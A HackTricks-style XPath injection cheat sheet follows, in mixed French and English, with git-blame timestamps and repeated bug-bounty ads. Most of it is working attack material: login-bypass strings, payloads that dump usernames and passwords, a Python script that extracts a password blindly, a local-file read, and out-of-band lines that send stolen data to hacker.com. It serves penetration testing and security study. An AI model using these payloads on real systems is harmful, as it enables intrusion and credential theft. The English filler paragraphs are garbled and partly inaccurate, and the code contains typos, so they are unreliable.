hacktricks/pentesting-web/xpath-injection.md

440 lines
29 KiB
Markdown
Raw Normal View History

# Injection XPATH
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
**HackenProof est la plateforme des primes de bugs cryptographiques.**
2022-04-28 16:01:33 +00:00
**Obtenez des récompenses sans délai**\
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
2023-02-27 10:28:45 +01:00
**Acquérez de l'expérience en pentest web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
2023-02-27 10:28:45 +01:00
**Devenez une légende du piratage web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
2023-02-27 10:28:45 +01:00
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
2022-11-05 10:07:43 +01:00
2023-06-03 13:10:46 +00:00
## **Syntaxe de base**
2022-12-03 17:35:56 +00:00
L'injection XPATH est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
2022-12-03 17:35:56 +00:00
2023-06-03 13:10:46 +00:00
Informations sur la façon de faire des requêtes : [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
2022-12-03 17:35:56 +00:00
2023-06-03 13:10:46 +00:00
### Noeuds
2022-12-03 17:35:56 +00:00
| Expression | Description |
| ---------- | ----------------------------------------------------------------------------------------------------- |
| nodename | Sélectionne tous les noeuds avec le nom "nodename" |
| / | Sélectionne à partir du noeud racine |
2023-06-03 13:10:46 +00:00
| // | Sélectionne les noeuds dans le document à partir du noeud courant qui correspondent à la sélection, peu importe où ils se trouvent |
| . | Sélectionne le noeud courant |
| .. | Sélectionne le parent du noeud courant |
| @ | Sélectionne les attributs |
2023-06-03 13:10:46 +00:00
### **Exemples :**
2022-12-03 17:35:56 +00:00
2023-06-03 13:10:46 +00:00
| Expression de chemin | Résultat |
2022-12-03 17:35:56 +00:00
| --------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| bookstore | Sélectionne tous les noeuds avec le nom "bookstore" |
2023-06-03 13:10:46 +00:00
| /bookstore | Sélectionne l'élément racine bookstore**Note:** Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément ! |
| bookstore/book | Sélectionne tous les éléments book qui sont des enfants de bookstore |
| //book | Sélectionne tous les éléments book peu importe où ils se trouvent dans le document |
2023-06-03 13:10:46 +00:00
| bookstore//book | Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
| //@lang | Sélectionne tous les attributs qui s'appellent lang |
2022-12-03 17:35:56 +00:00
2023-06-03 13:10:46 +00:00
### Prédicats
2022-12-03 17:35:56 +00:00
2023-06-03 13:10:46 +00:00
| Expression de chemin | Résultat |
2022-12-03 17:35:56 +00:00
| ----------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| /bookstore/book\[1] | <p>Sélectionne le premier élément book qui est un enfant de l'élément bookstore.<strong>Note:</strong> Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon le W3C, c'est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath :</p><p>En JavaScript : xml.setProperty("SelectionLanguage","XPath");</p> |
2023-06-03 13:10:46 +00:00
| /bookstore/book\[last()] | Sélectionne le dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book\[last()-1] | Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book\[position()<3] | Sélectionne les deux premiers éléments book qui sont des enfants de l'élément bookstore |
| //title\[@lang] | Sélectionne tous les éléments title qui ont un attribut appelé lang |
2023-06-03 13:10:46 +00:00
| //title\[@lang='en'] | Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en" |
| /bookstore/book\[price>35.00] | Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
| /bookstore/book\[price>35.00]/title | Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
### Noeuds inconnus
| Jocker | Description |
2022-12-03 17:35:56 +00:00
| -------- | ---------------------------- |
2023-06-03 13:10:46 +00:00
| \* | Correspond à n'importe quel noeud élément |
| @\* | Correspond à n'importe quel noeud attribut |
| node() | Correspond à n'importe quel noeud de n'importe quel type |
### **Exemples:**
2022-12-03 17:35:56 +00:00
| Expression de chemin | Résultat |
| ------------------- | ------------------------------------------------------------------------ |
| /bookstore/\* | Sélectionne tous les nœuds élément enfants de l'élément bookstore |
| //\* | Sélectionne tous les éléments du document |
| //title\[@\*] | Sélectionne tous les éléments title qui ont au moins un attribut de tout type |
2022-12-03 17:35:56 +00:00
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
2022-11-05 10:07:43 +01:00
**HackenProof est le lieu de tous les programmes de primes pour les bugs de crypto.**
2022-11-05 10:07:43 +01:00
**Obtenez une récompense sans délai**\
Les primes HackenProof sont lancées uniquement lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
2023-02-27 10:28:45 +01:00
**Acquérez de l'expérience en pentesting web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
2023-02-27 10:28:45 +01:00
**Devenez la légende des hackers web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
2023-02-27 10:28:45 +01:00
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
2022-11-05 10:07:43 +01:00
{% embed url="https://hackenproof.com/register" %}
2023-06-03 13:10:46 +00:00
## Exemple
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
```
### Accéder aux informations
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the query and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML data.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional data that was not intended to be exposed.
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
```xml
//users/user[name='John']
```
By injecting a malicious expression like `' or 1=1 or ''='`, the attacker can modify the query to retrieve all user information:
```xml
//users/user[name='John' or 1=1 or ''='']
```
This modified query will return all user information, regardless of the name specified in the search form.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for attackers to manipulate the query.
By understanding and exploiting XPath Injection vulnerabilities, attackers can gain unauthorized access to sensitive information stored in XML databases. It is crucial for developers and security professionals to be aware of this technique and take appropriate measures to protect against it.
2022-12-03 17:35:56 +00:00
```
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
2023-06-03 13:10:46 +00:00
### Identifier et voler le schéma
XPath injection can be used to identify and steal the schema of a web application's database. By injecting malicious XPath queries, an attacker can extract sensitive information about the database structure, such as table names, column names, and data types.
To perform this attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login forms, or any other input field that is used to construct an XPath query.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath queries to extract the schema information. The following steps outline the process:
1. **Identify the vulnerable input field**: Find the input field that is used in an XPath query and is susceptible to injection.
2. **Determine the XPath query structure**: Analyze the XPath query structure to understand how the input is concatenated into the query. This will help in crafting the malicious payload.
3. **Inject malicious XPath queries**: Craft XPath queries that extract schema information. For example, the attacker can use the `union` operator to combine the results of different queries and retrieve the schema information.
4. **Observe the application's response**: Submit the malicious payload and observe the response from the application. Look for any error messages or unexpected behavior that reveals the schema information.
5. **Extract the schema information**: Modify the payload to extract specific schema information, such as table names or column names. This can be done by manipulating the XPath queries and analyzing the application's response.
By successfully injecting and manipulating XPath queries, an attacker can gather valuable information about the database schema. This information can then be used to plan further attacks, such as SQL injection or data exfiltration.
```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
## Contournement de l'authentification
2023-06-03 13:10:46 +00:00
### **Exemple de requêtes :**
2022-12-03 17:35:56 +00:00
```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
### **Contournement OR dans l'utilisateur et le mot de passe (même valeur dans les deux)**
2022-12-03 17:35:56 +00:00
```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
2023-06-03 13:10:46 +00:00
### **Abus de l'injection null**
Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate through XML documents and extract specific information.
In a null injection attack, the attacker manipulates the XPath query by injecting a null character (`\x00`) to bypass input validation and retrieve unintended data. This can lead to unauthorized access to sensitive information or even the execution of arbitrary code.
To perform a null injection attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. The attacker then injects the null character at a strategic point in the input, such as within a string literal or a function call.
For example, consider the following vulnerable XPath query:
```xml
//users/user[name/text()='admin' and password/text()='password']
```
2023-06-03 13:10:46 +00:00
To exploit this vulnerability, the attacker can inject a null character after the `admin` value, like this:
2023-06-03 13:10:46 +00:00
```xml
//users/user[name/text()='admin\x00' and password/text()='password']
```
This null character effectively terminates the string literal, causing the XPath query to ignore the rest of the input. As a result, the query only checks the `name` field and ignores the `password` field, allowing the attacker to bypass authentication.
To prevent null injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for the presence of null characters and other special characters that can be used for injection.
In conclusion, null injection is a powerful technique that can be used to exploit XPath injection vulnerabilities in web applications. By understanding how null injection works, developers and security professionals can better protect their applications from this type of attack.
2022-12-03 17:35:56 +00:00
```
Username: ' or 1]%00
```
### **Double OU dans le nom d'utilisateur ou dans le mot de passe** (est valide avec seulement 1 champ vulnérable)
IMPORTANT: Remarquez que **"et" est la première opération effectuée**.
2022-12-03 17:35:56 +00:00
```
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
2023-06-03 13:10:46 +00:00
## Extraction de chaînes de caractères
2023-06-03 13:10:46 +00:00
La sortie contient des chaînes de caractères et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :
2022-12-03 17:35:56 +00:00
```
/user/username[contains(., '+VALUE+')]
```
2022-12-03 17:35:56 +00:00
```
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
## Exploitation en aveugle
### **Obtenir la longueur d'une valeur et l'extraire par des comparaisons :**
```bash
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
```
2023-06-03 13:10:46 +00:00
### **Exemple Python**
```python
import requests, string
flag = ""
l = 0
2021-05-31 18:40:30 +05:30
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
2023-06-03 13:10:46 +00:00
### Lire un fichier
L'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. L'interrogation XPath est un langage de requête utilisé pour extraire des informations à partir de documents XML.
Lorsqu'une application Web utilise des entrées utilisateur non filtrées pour construire des requêtes XPath, il est possible d'injecter du code XPath malveillant pour manipuler la requête et extraire des données sensibles. Cela peut se produire lorsque l'application construit dynamiquement une requête XPath en concaténant des chaînes de caractères avec des entrées utilisateur.
Pour exploiter une injection XPath, il est nécessaire de comprendre la structure de la requête XPath utilisée par l'application cible. Cela peut être découvert en analysant le code source de l'application ou en utilisant des outils d'exploration automatisés.
2023-06-03 13:10:46 +00:00
Une fois que la structure de la requête XPath est connue, il est possible d'injecter du code XPath malveillant pour extraire des données spécifiques. Par exemple, en utilisant des opérateurs logiques tels que `or` et `and`, il est possible de contourner les mécanismes de filtrage et d'extraire des données sensibles à partir de la base de données de l'application.
2023-06-03 13:10:46 +00:00
Pour se protéger contre les attaques par injection XPath, il est recommandé de mettre en œuvre une validation et une filtration appropriées des entrées utilisateur. Il est également conseillé d'utiliser des requêtes paramétrées ou des mécanismes d'interrogation spécifiques fournis par le framework ou la bibliothèque utilisée pour construire les requêtes XPath.
2023-06-03 13:10:46 +00:00
En conclusion, l'injection XPath est une technique d'attaque puissante qui permet d'extraire des données sensibles à partir d'applications Web vulnérables. En comprenant la structure de la requête XPath et en utilisant des opérateurs logiques, il est possible de manipuler les requêtes XPath pour extraire des informations précieuses.
```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
2023-06-03 13:10:46 +00:00
```
## Exploitation OOB
Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate an XPath query used by the application to retrieve data from an XML document.
2023-06-03 13:10:46 +00:00
During an OOB exploitation, the attacker crafts a malicious XPath query that includes a request to an external server controlled by the attacker. This request is designed to trigger a response from the server, which can then be used to extract sensitive information from the target application.
2023-06-03 13:10:46 +00:00
The OOB exploitation technique can be divided into two main categories: blind and error-based.
### Blind OOB Exploitation
2023-06-03 13:10:46 +00:00
In blind OOB exploitation, the attacker is unable to directly view the extracted data. Instead, the attacker relies on the application's behavior to determine if the injection was successful. This can be achieved by leveraging the application's response time or error messages.
2023-06-03 13:10:46 +00:00
To perform a blind OOB exploitation, the attacker crafts an XPath query that triggers a request to their controlled server. The attacker then monitors the application's behavior to determine if the request was successful. This can be done by measuring the time it takes for the application to respond or by analyzing any error messages returned by the application.
2023-06-03 13:10:46 +00:00
### Error-Based OOB Exploitation
2023-06-03 13:10:46 +00:00
In error-based OOB exploitation, the attacker is able to view the extracted data through error messages returned by the application. This technique relies on injecting a malicious XPath query that intentionally causes an error in the application.
2023-06-03 13:10:46 +00:00
To perform an error-based OOB exploitation, the attacker crafts an XPath query that triggers an error in the application. This error message is then captured by the attacker, revealing the extracted data. The attacker can use techniques such as UNION-based queries or boolean-based queries to manipulate the XPath query and cause an error.
### Conclusion
OOB exploitation is a powerful technique used in XPath injection attacks to extract data from vulnerable web applications. By leveraging the application's behavior, attackers can extract sensitive information without directly viewing the data. Understanding the different types of OOB exploitation can help in identifying and mitigating XPath injection vulnerabilities.
```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
2023-06-03 13:10:46 +00:00
### Outil automatique
2022-12-03 17:35:56 +00:00
{% embed url="https://xcat.readthedocs.io/" %}
2023-06-03 13:10:46 +00:00
## Références
2023-03-05 19:54:13 +00:00
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
2022-11-05 10:07:43 +01:00
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
**HackenProof est la plateforme des primes pour les bugs de cryptographie.**
2023-02-27 10:28:45 +01:00
**Obtenez des récompenses sans délai**\
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
2023-02-27 10:28:45 +01:00
**Acquérez de l'expérience en pentesting web3**\
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
2023-02-27 10:28:45 +01:00
**Devenez une légende du hacking web3**\
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
2023-02-27 10:28:45 +01:00
[**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
2022-11-05 10:07:43 +01:00
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 20:35:28 +02:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
2023-06-03 13:10:46 +00:00
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>